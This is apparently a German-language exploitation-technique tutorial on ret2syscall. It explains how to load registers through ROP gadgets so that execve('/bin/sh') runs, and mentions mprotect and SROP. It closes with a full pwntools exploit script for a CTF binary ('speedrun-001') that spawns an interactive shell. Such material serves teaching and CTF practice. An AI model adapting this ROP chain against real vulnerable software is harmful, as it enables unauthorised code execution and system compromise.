Ret2syscall
Ret2syscall
Grundlegende Informationen
Dies ist ähnlich wie Ret2lib, jedoch rufen wir in diesem Fall keine Funktion aus einer Bibliothek auf. In diesem Fall wird alles vorbereitet, um den Syscall sys_execve
mit einigen Argumenten aufzurufen, um /bin/sh
auszuführen. Diese Technik wird normalerweise bei statisch kompilierten Binärdateien durchgeführt, sodass es möglicherweise viele Gadgets und Syscall-Anweisungen gibt.
Um den Aufruf des Syscalls vorzubereiten, ist die folgende Konfiguration erforderlich:
rax: 59 Sys_execve angeben
rdi: Zeiger auf "/bin/sh" gibt die auszuführende Datei an
rsi: 0 gibt an, dass keine Argumente übergeben werden
rdx: 0 gibt an, dass keine Umgebungsvariablen übergeben werden
Im Grunde genommen ist es erforderlich, den String /bin/sh
irgendwo zu schreiben und dann den Syscall
auszuführen (wobei auf das erforderliche Padding zur Steuerung des Stacks geachtet werden muss). Dafür benötigen wir ein Gadget, um /bin/sh
an einer bekannten Stelle zu schreiben.
Ein weiterer interessanter Syscall, der aufgerufen werden kann, ist mprotect
, mit dem ein Angreifer die Berechtigungen einer Seite im Speicher ändern kann. Dies kann mit ret2shellcode kombiniert werden.
Register-Gadgets
Beginnen wir damit, wie diese Register kontrolliert werden können:
Mit diesen Adressen ist es möglich, den Inhalt im Stack zu schreiben und in die Register zu laden.
String schreiben
Beschreibbarer Speicher
Zuerst musst du einen beschreibbaren Speicherplatz im Speicher finden.
Schreiben Sie einen String im Speicher
Dann müssen Sie einen Weg finden, beliebige Inhalte an diese Adresse zu schreiben
Automatisiere ROP-Kette
Der folgende Befehl erstellt eine vollständige sys_execve
ROP-Kette für ein statisches Binärprogramm, wenn Write-What-Where-Gadgets und Syscall-Anweisungen vorhanden sind:
32 bits
32 bits
64 bits
64 bits
Fehlende Gadgets
Wenn Ihnen Gadgets fehlen, zum Beispiel um /bin/sh
im Speicher zu schreiben, können Sie die SROP-Technik verwenden, um alle Registerwerte (einschließlich RIP und Parameternregistern) vom Stapel aus zu steuern:
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Last updated